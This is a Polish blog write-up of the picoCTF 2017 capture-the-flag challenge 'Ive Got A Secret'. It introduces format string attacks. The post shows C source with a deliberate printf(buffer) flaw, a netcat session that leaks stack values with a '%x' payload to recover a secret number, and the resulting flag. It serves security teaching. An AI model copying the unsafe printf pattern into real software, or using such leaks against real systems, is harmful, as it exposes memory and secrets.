picoCTF 2017 — Ive Got A Secret [format string]

Kolejne zadanie z picoCTF 2017 czyli Ive Got A Secret.  Zadanie to wprowadza do ataków typu format string.  Atak ten wykorzystuje błędny sposób przekazywania argumentów do funkcji operujących na ciągach formatujących, takich jak printf(), w języku C.

 Hopefully you can find the right format for my secret! Source. Connect on shell2017.picoctf.com:6805.

HINTS

  • This is a beginning format string attack.

Kod źródłowy:

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

#define BUF_LEN 64
char buffer[BUF_LEN];

int main(int argc, char** argv) {
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd == -1){
        puts("Open error on /dev/urandom. Contact an admin\n");
        return -1;
    }
    int secret;
    if(read(fd, &secret, sizeof(int)) != sizeof(int)){
        puts("Read error. Contact admin!\n");
        return -1;
    }
    close(fd);
    printf("Give me something to say!\n");
    fflush(stdout);
    fgets(buffer, BUF_LEN, stdin);
    printf(buffer);

    int not_secret;
    printf("Now tell my secret in hex! Secret: ");
    fflush(stdout);
    scanf("%x", &not_secret);
    if(secret == not_secret){
        puts("Wow, you got it!");
        system("cat ./flag.txt");   
    }else{
        puts("As my friend says,\"You get nothing! You lose! Good day, Sir!\"");
    }

    return 0;
}

 

Po analizie kodu widzimy że program losuje liczbę a następnie pozwala nam wprowadzić jakiś tekst który drukuje na ekran. Po tym pyta nas o liczbę którą wylosował w formacie hex, jeśli podamy prawidłową zwraca flagę.

Jak podpowiada wskazówka zadanie dotyczy ataku typu "format string", występuje ona jeśli w programie mamy printf(zmienna); zamiast printf("%s",zmienna);.

Jeśli zmienna  pochodzi od użytkownika możemy w jej treści podać specjalne znaczniki szablonów jak %i, %x itd. które przez funkcje zostaną zamienne na zmienne podane jako kolejne argumenty funkcji a jeśli ich nie ma tak jak w tym przypadku kolejne wartości ze stosu.

I tutaj jest nasze rozwiązanie, po połączeniu się netcat'em z aplikacją pyta ona nas stringa więc wpisujemy ciąg: "%x %x %x %x %x %x %x %x %x" który wyświetli kilka kolejnych wartości ze stosu (gdzie przecież znajduje się wartość sekretnej liczby) w formacie HEX bo w takim formacie musimy podać rozwiązane. Teraz wystarczy kolejno spróbować podać każdą z wartości jako rozwiązanie, szósta wartość c8f45c5a to zawartość zmiennej secret.

ircykk@ubuntu:~$ nc shell2017.picoctf.com 6805
Give me something to say!
%x %x %x %x %x %x %x %x %x
40 f7fc7c20 8048792 1 ffffdd34 c8f45c5a 3 f7fc73c4 ffffdca0
Now tell my secret in hex! Secret: c8f45c5a
d2b1dd0dc7b29ccfb612d9978d9f9ca4
Wow, you got it!

Objaśnienie tematu:

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *